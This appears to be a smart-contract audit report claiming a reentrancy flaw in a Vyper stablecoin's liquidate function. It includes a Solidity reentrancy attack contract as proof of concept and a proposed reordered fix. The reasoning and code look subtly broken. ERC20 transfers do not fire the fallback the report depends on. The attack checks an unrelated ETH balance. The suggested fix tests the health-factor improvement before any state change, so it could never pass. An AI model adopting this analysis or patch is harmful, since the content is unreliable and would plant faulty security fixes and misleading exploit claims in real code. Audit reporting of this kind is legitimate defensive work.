Summary
The goal of the liquidate function is to manage the liquidation process for a user who has a collateralized debt position. It ensures that if a user's health factor (a measure of their collateral's ability to cover their debt) falls below a minimum threshold, their collateral is sold off to cover their debt.
Vulnerability Details
In function is code:
...
self._redeem_collateral(
collateral,
token_amount_from_debt_covered + bonus_collateral,
user,
msg.sender,
)
self._burn_dsc(debt_to_cover, user, msg.sender)
ending_user_health_factor: uint256 = self._health_factor(user)
assert (
ending_user_health_factor > starting_user_health_factor
), "DSCEngine__HealthFactorNotImproved"
self._revert_if_health_factor_is_broken(msg.sender)
...
In the _redeem_collateral function, tokens equivalent to token_amount_from_debt_covered + bonus_collateral are transferred to an address. After this transfer, the _burn_dsc function is called to burn DSC tokens. At the end of the function, the _health_factor is checked. If the health factor is breached, the function reverts. This function does not follow the Check-Effects-Interactions (CEI) pattern. In the context of ERC20 tokens, functions like receive can be used during liquidation to completely steal funds from the contract.
POC
pragma solidity ^0.8.0;
interface ILiquidate {
function liquidate(address collateral, address user, uint256 debt_to_cover) external;
}
contract ReentrancyAttack {
ILiquidate public target;
address public collateral;
address public victim;
uint256 public debtToCover;
constructor(address _target, address _collateral, address _victim, uint256 _debtToCover) {
target = ILiquidate(_target);
collateral = _collateral;
victim = _victim;
debtToCover = _debtToCover;
}
fallback() external payable {
if (address(target).balance >= debtToCover) {
target.liquidate(collateral, victim, debtToCover);
}
}
function attack() external {
target.liquidate(collateral, victim, debtToCover);
}
}
Impact
Thanks to reentrancy attacks all token funds from the protocol can be steal.
Tools Used
manual review
Recommendations
Please follow CEI pattern:
@external
def liquidate(collateral: address, user: address, debt_to_cover: uint256):
assert debt_to_cover > 0, "DSCEngine__NeedsMoreThanZero"
starting_user_health_factor: uint256 = self._health_factor(user)
assert (starting_user_health_factor < MIN_HEALTH_FACTOR), "DSCEngine__HealthFactorOk"
token_amount_from_debt_covered: uint256 = self._get_token_amount_from_usd(collateral, debt_to_cover)
bonus_collateral: uint256 = (token_amount_from_debt_covered * LIQUIDATION_BONUS)
self._revert_if_health_factor_is_broken(msg.sender)
ending_user_health_factor: uint256 = self._health_factor(user)
assert (ending_user_health_factor > starting_user_health_factor), "DSCEngine__HealthFactorNotImproved"
self._burn_dsc(debt_to_cover, user, msg.sender)
self._redeem_collateral(collateral, token_amount_from_debt_covered + bonus_collateral, user, msg.sender)
